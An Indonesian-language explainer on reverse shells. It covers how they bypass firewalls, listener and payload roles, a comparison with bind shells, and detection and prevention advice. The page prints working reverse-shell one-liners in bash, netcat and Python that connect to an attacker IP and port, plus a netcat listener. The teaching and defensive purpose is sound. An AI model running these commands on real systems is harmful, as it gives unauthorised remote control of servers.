Reverse Shell
TL;DR: Reverse Shell
Shell terbalik, juga dikenal sebagai shell connect-back, adalah ketika sistem yang dikompromikan terhubung ke penyerang dan memberikan mereka sesi command-line langsung.
Mengapa ini penting?
- Shell terbalik dapat melewati firewall karena sebagian besar firewall memblokir koneksi masuk tetapi mengizinkan koneksi keluar.
- Penyerang mendapatkan kontrol nyata karena mereka dapat menjalankan perintah seolah-olah mereka masuk secara langsung.
- Shell terbalik sangat umum karena mereka adalah langkah standar setelah penyerang mengeksploitasi sistem.
Bayangkan seperti ini: alih-alih penyerang mencoba masuk, mereka menipu server untuk menghubungi mereka.
Apa Itu Shell Terbalik?
Shell terbalik adalah shell jarak jauh di mana komputer korban memulai koneksi ke komputer penyerang.
Biasanya, komputer Anda memulai koneksi, seperti saat Anda mengunjungi situs web. Dengan shell terbalik, ini dibalik. Setelah penyerang menemukan cara untuk menjalankan kode, server terhubung kembali ke penyerang.
Cara mudah untuk mengingatnya:
- Bind shell: Anda mencoba terhubung ke server. Jika firewall memblokir Anda, Anda tidak dapat masuk.
- Shell terbalik: Server terhubung ke Anda. Karena koneksi keluar biasanya diizinkan, Anda dapat menjawab dan mengambil alih.
Mengapa Shell Terbalik Penting
Tim keamanan biasanya fokus pada pertahanan seperti firewall, load balancer, dan pembatasan port. Ini bekerja sampai penyerang berhasil menjalankan kode di dalam sistem.
Ketika itu terjadi, shell terbalik menjadi cara utama penyerang untuk tetap berada di dalam.
Mengapa ini berbahaya:
-
Lalu lintas keluar dipercaya.
Firewall sering kali mengizinkan lalu lintas keluar pada port seperti 80 atau 443 untuk pembaruan dan API. Reverse shell dapat bersembunyi dalam lalu lintas yang diizinkan ini.
-
Penyerang dapat mempertahankan akses.
Bahkan jika lubang keamanan asli telah diperbaiki, shell aktif masih dapat memungkinkan penyerang mengendalikan sistem.
-
Ini memungkinkan pergerakan lateral.
Dengan shell, penyerang dapat melihat-lihat jaringan internal, mencuri kata sandi, dan berpindah ke komputer lain. Satu kerentanan dapat dengan cepat menyebabkan seluruh lingkungan terkompromi.
Cara Kerja Reverse Shell
Reverse shell memiliki dua bagian utama: listener dan payload.
1. Listener (Sisi Penyerang)
Penyerang menggunakan program yang menunggu koneksi. Netcat adalah alat umum untuk ini.
nc -lvnp 4444
Perintah ini memberi tahu komputer penyerang untuk mendengarkan pada port 4444 dan menunggu koneksi.
2. Payload (Sisi Korban)
Setelah menemukan kerentanan seperti Eksekusi Kode Jarak Jauh, penyerang menjalankan perintah pada server korban untuk membuka shell dan mengirimkannya kembali.
bash -i >& /dev/tcp/attacker-ip/4444 0>&1
Perintah ini memulai shell bash dan mengirim semua input dan output ke komputer penyerang.
3. Koneksi
Server korban memulai koneksi keluar. Firewall melihat ini sebagai normal dan mengizinkannya. Listener penyerang menerima koneksi, memberikan penyerang shell langsung pada server.
Pada tahap ini, penyerang memiliki kontrol interaktif penuh atas server.
Contoh Reverse Shell Umum
Penyerang dan peretas etis menyesuaikan pendekatan mereka berdasarkan alat yang tersedia pada sistem target.
Bash (Umum di Linux)
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
Netcat
Digunakan ketika Netcat tersedia pada mesin target.
nc -e /bin/sh 10.0.0.1 4444
Python
Python sangat umum pada server modern.
python -c 'import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.0.0.1",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
subprocess.call(["/bin/sh","-i"]);'
Reverse Shell vs Bind Shell
Mengetahui perbedaan antara reverse shell dan bind shell membantu dalam mempertahankan jaringan.
| Fitur | Bind Shell | Reverse Shell |
|---|---|---|
| Arah koneksi | Penyerang ke Korban | Korban ke Penyerang |
| Dampak firewall | Sering diblokir | Sering diizinkan |
| Persyaratan jaringan | Akses langsung diperlukan | Bekerja melalui NAT dan firewall |
| Kasus penggunaan umum | Jaringan internal | Serangan dunia nyata |
Siapa yang Menggunakan Reverse Shell?
- Penguji penetrasi menggunakan reverse shell untuk membuktikan bahwa kerentanan dapat menyebabkan kompromi sistem penuh.
- Tim merah menggunakan reverse shell untuk menguji seberapa baik lalu lintas keluar dikendalikan.
- Pelaku jahat menggunakan reverse shell untuk menyebarkan ransomware, mencuri data, atau bergerak lebih jauh ke dalam jaringan.
- Administrator sistem jarang menggunakan reverse shell untuk akses jarak jauh. Mereka biasanya lebih memilih terowongan SSH yang aman.
Deteksi dan Pencegahan
Menghentikan reverse shell memerlukan beberapa lapisan pertahanan.
-
Pemfilteran lalu lintas keluar
Server seharusnya tidak memiliki akses terbuka ke internet. Batasi tujuan dan port yang dapat mereka gunakan.
-
Pemantauan perilaku
Server web yang memunculkan proses shell, seperti /bin/bash atau cmd.exe, sangat mencurigakan.
-
Kurangi permukaan serangan.
Hapus alat yang tidak digunakan seperti Netcat, kompiler, dan interpreter tambahan dari sistem produksi.
Istilah Terkait
- Eksekusi Kode Jarak Jauh (RCE)
- Bind Shell
FAQ: Reverse Shell
Apakah reverse shell ilegal?
Reverse shell legal hanya jika Anda menggunakannya pada sistem yang Anda miliki atau memiliki izin jelas untuk menguji. Menggunakannya tanpa izin adalah ilegal.
Mengapa firewall mengizinkan reverse shell?
Firewall dibangun untuk memblokir ancaman masuk dan biasanya mempercayai lalu lintas keluar. Reverse shell memanfaatkan hal ini.
Dapatkah antivirus mendeteksi reverse shell?
Kadang-kadang. Perangkat lunak antivirus yang menggunakan tanda tangan dapat menemukan program shell yang dikenal, tetapi shell tanpa file yang dibuat dengan Bash atau Python jauh lebih sulit dideteksi.
Apa perbedaan antara reverse shell dan webshell?
Webshell digunakan melalui browser dan biasanya tetap berada di sistem, tetapi memiliki fitur terbatas. Reverse shell memberikan sesi baris perintah interaktif langsung.